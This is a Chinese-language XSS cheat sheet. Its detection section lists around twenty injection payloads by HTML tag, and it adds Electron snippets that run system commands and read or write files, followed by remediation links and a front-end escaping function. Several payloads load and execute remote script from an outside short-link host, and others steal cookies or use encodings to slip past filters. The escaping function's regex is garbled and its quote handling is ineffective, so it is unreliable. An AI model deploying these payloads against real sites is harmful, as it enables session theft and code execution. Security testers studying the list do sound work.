

# 1、XSS漏洞简介

## 1.1 漏洞场景

跨站脚本攻击是指恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页之时，嵌入其中Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。

# 2、XSS漏洞检测

## 2.1 Payload

标签	测试脚本
svg	<code>&lt;svg onload=eval(\$.get("//t.cn/R5iR4NG")) style=display:none&gt;</code> <code>&lt;svg onload=a=decodeURIComponent("http%3A%2F%2Ft.cn%2FR5iR4NG");\$.getScript(a) style=display:none&gt;</code>
img	<code>&lt;img src=x style=display:none</code> <code>onerror=s=createElement('script');body.appendChild(s);s.src="//t.cn/R5iR4NG";&gt;</code>
isindex	<code>&lt;isindex type=image src=x onerror=alert(/xss/)&gt;</code>
a	<code>&lt;a title='x' onmouseover=alert(unescape(/hello%20world/.source))</code> <code>style=position:absolute;left:0;top:0;width:5000px;height:5000px&gt;&lt;/a&gt;</code>
select	<code>&lt;select autofocus onfocus=alert(document.domain)&gt;</code>
textarea	<code>&lt;textarea autofocus onfocus=alert(document.domain)&gt;</code>
keygen	<code>&lt;keygen autofocus onfocus=alert(document.domain)&gt;</code>
body	<code>&lt;body onload=prompt(document.domain);&gt;</code>
embed	<code>&lt;embed src="javascript:alert(document.domain)"/&gt;</code>
video	<code>&lt;video&gt;&lt;source onerror="javascript:alert(document.domain)"&gt;</code>
object	<code>&lt;object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="&gt;</code>
iframe	<code>&lt;iframe src=data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=&gt;</code>
meta	<code>&lt;meta http-equiv="refresh" content="0; url=data:text/html,%3Cscript%3Ealert%281%29%3C%2Fscript%3E"&gt;</code>
b	<code>&lt;b oncut = alert()&gt;</code>
script	<code>&lt;script src=test.jpg&gt;</code>
script	<code>&lt;script&gt;z="alert"&lt;/script&gt;&lt;br/&gt;&lt;script&gt;z=z+"(123)"&lt;/script&gt;&lt;br/&gt;&lt;script&gt;eval(z)&lt;/script&gt;</code>
div	<code>&lt;div id="x"&gt;alert%28document.cookie%29%3B&lt;/div&gt;&lt;br/&gt;&lt;p&gt;eval(unescape(x.innerHTML));&lt;/p&gt;</code>
script	<code>&lt;script&gt;window.open('https://vulnerablesite.com/users/eval(atob(window.name))','Ywx1cnQoL3hzcyc8p')&lt;/script&gt;</code>
script	<code>&lt;script&gt;eval.call \${prompt\x281)}&lt;/script&gt;</code>
svg	<code>&lt;svg&gt;&lt;script&gt;&amp;#112;&amp;#114;&amp;#111;&amp;#109;&amp;#112;&amp;#116;&amp;#40;&amp;#47;&amp;#120;&amp;#115;&amp;#115;&amp;#47;&amp;#41;&lt;/script&gt;</code>

## 2.2 Electron

electron是一个流行的桌面应用开发框架，允许开发者使用web技术和nodejs结合起来迅速开发桌面应用，因为引入了JS，所以也引入了XSS漏洞。

- 系统命令

```
<script>require("child_process").exec("calc.exe")</script>
```

- 读写文件

```
<script>require('fs').writeFile('hack.txt','xxxx')</script>
<script>require('fs').readFileSync('c:\\windows\\php.ini')</script>
```

## 3、XSS漏洞修复

### 3.1 服务端过滤

- Java: <https://owasp.org/www-project-java-html-sanitizer/>
- .NET: <https://github.com/mganss/HtmlSanitizer>
- Golang: <https://github.com/microcosm-cc/bluemonday>
- PHP: <http://htmlpurifier.org/>
- Python: <https://pypi.python.org/pypi/bleach>
- Django框架 (Python) : <https://github.com/shaowenchen/django-xss-cleaner>

### 3.2 前端过滤

```
$.ajax({
  url: '/test.php',
  type: 'post',
  dataType: 'text',
  cache: false,
  async: false,
})
.done(function(data){
  $("body").append(xssCheck(data));
})

function xssCheck(str,reg){
  return str ? str.replace(reg || /&lt;>'"/?:
  (amp|lt|quot|gt|#39|nbsp|#d+);)?/g,function (a, b) {
    if(b){
      return a;
    }else{
      return{
        '<': '&lt;',
        '&': '&amp;',
        '"': '&quot;',
        '>': '&gt;',
        "'": "'",
      }[a]
    }
  }): '';
}
```